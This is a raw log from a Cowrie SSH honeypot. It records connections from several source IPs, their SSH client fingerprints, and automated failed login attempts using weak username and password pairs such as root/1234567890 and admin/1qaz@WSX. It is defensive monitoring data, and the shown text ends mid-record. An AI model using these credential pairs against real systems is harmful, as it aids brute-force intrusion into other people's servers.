{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:31.656375Z","src_ip":"80.94.92.182","session":"8789e572cf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46794,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1377c374398","protocol":"ssh","message":"New connection: 45.153.34.114:46794 (159.203.135.109:22) [session: e1377c374398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:32.423347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:32.428046Z","src_ip":"45.153.34.114","session":"e1377c374398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:32.509818Z","src_ip":"45.153.34.114","session":"e1377c374398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:32.771455Z","src_ip":"45.153.34.114","session":"e1377c374398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"3d","password":"3d","message":"login attempt [3d/3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:33.786061Z","src_ip":"80.94.92.182","session":"8789e572cf96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:33.865253Z","src_ip":"45.153.34.114","session":"e1377c374398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:35.108823Z","src_ip":"80.94.92.182","session":"8789e572cf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58920,"dst_ip":"159.203.135.109","dst_port":22,"session":"79efa8e59a10","protocol":"ssh","message":"New connection: 103.75.199.4:58920 (159.203.135.109:22) [session: 79efa8e59a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:37.656613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:37.662866Z","src_ip":"103.75.199.4","session":"79efa8e59a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:37.759198Z","src_ip":"103.75.199.4","session":"79efa8e59a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:38.036285Z","src_ip":"103.75.199.4","session":"79efa8e59a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:39.130689Z","src_ip":"103.75.199.4","session":"79efa8e59a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47552,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b4834c1e683","protocol":"ssh","message":"New connection: 45.153.34.114:47552 (159.203.135.109:22) [session: 5b4834c1e683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:40.437906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:40.441987Z","src_ip":"45.153.34.114","session":"5b4834c1e683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:40.533754Z","src_ip":"45.153.34.114","session":"5b4834c1e683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:40.796322Z","src_ip":"45.153.34.114","session":"5b4834c1e683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:41.882179Z","src_ip":"45.153.34.114","session":"5b4834c1e683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47560,"dst_ip":"159.203.135.109","dst_port":22,"session":"f07cf088d7b5","protocol":"ssh","message":"New connection: 45.153.34.114:47560 (159.203.135.109:22) [session: f07cf088d7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:47.978669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:47.985712Z","src_ip":"45.153.34.114","session":"f07cf088d7b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:48.069713Z","src_ip":"45.153.34.114","session":"f07cf088d7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":37326,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4c730ecad6","protocol":"ssh","message":"New connection: 20.203.42.204:37326 (159.203.135.109:22) [session: 7f4c730ecad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:48.147712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:48.152569Z","src_ip":"20.203.42.204","session":"7f4c730ecad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:48.328612Z","src_ip":"20.203.42.204","session":"7f4c730ecad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:48.341072Z","src_ip":"45.153.34.114","session":"f07cf088d7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:49.064236Z","src_ip":"20.203.42.204","session":"7f4c730ecad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:49.429488Z","src_ip":"45.153.34.114","session":"f07cf088d7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:50.242357Z","src_ip":"20.203.42.204","session":"7f4c730ecad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47050,"dst_ip":"159.203.135.109","dst_port":22,"session":"528a4da070a7","protocol":"ssh","message":"New connection: 45.153.34.114:47050 (159.203.135.109:22) [session: 528a4da070a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:55.897545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:55.920221Z","src_ip":"45.153.34.114","session":"528a4da070a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:55.982398Z","src_ip":"45.153.34.114","session":"528a4da070a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:56.315483Z","src_ip":"45.153.34.114","session":"528a4da070a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:57.441666Z","src_ip":"45.153.34.114","session":"528a4da070a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53316,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0688ef24866","protocol":"ssh","message":"New connection: 103.75.199.4:53316 (159.203.135.109:22) [session: a0688ef24866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:59.480802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:59.485458Z","src_ip":"103.75.199.4","session":"a0688ef24866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:59.576644Z","src_ip":"103.75.199.4","session":"a0688ef24866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:59.848720Z","src_ip":"103.75.199.4","session":"a0688ef24866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:00.941584Z","src_ip":"103.75.199.4","session":"a0688ef24866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48134,"dst_ip":"159.203.135.109","dst_port":22,"session":"85e5be50a169","protocol":"ssh","message":"New connection: 45.153.34.114:48134 (159.203.135.109:22) [session: 85e5be50a169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:03.849448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:50:03.859383Z","src_ip":"45.153.34.114","session":"85e5be50a169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 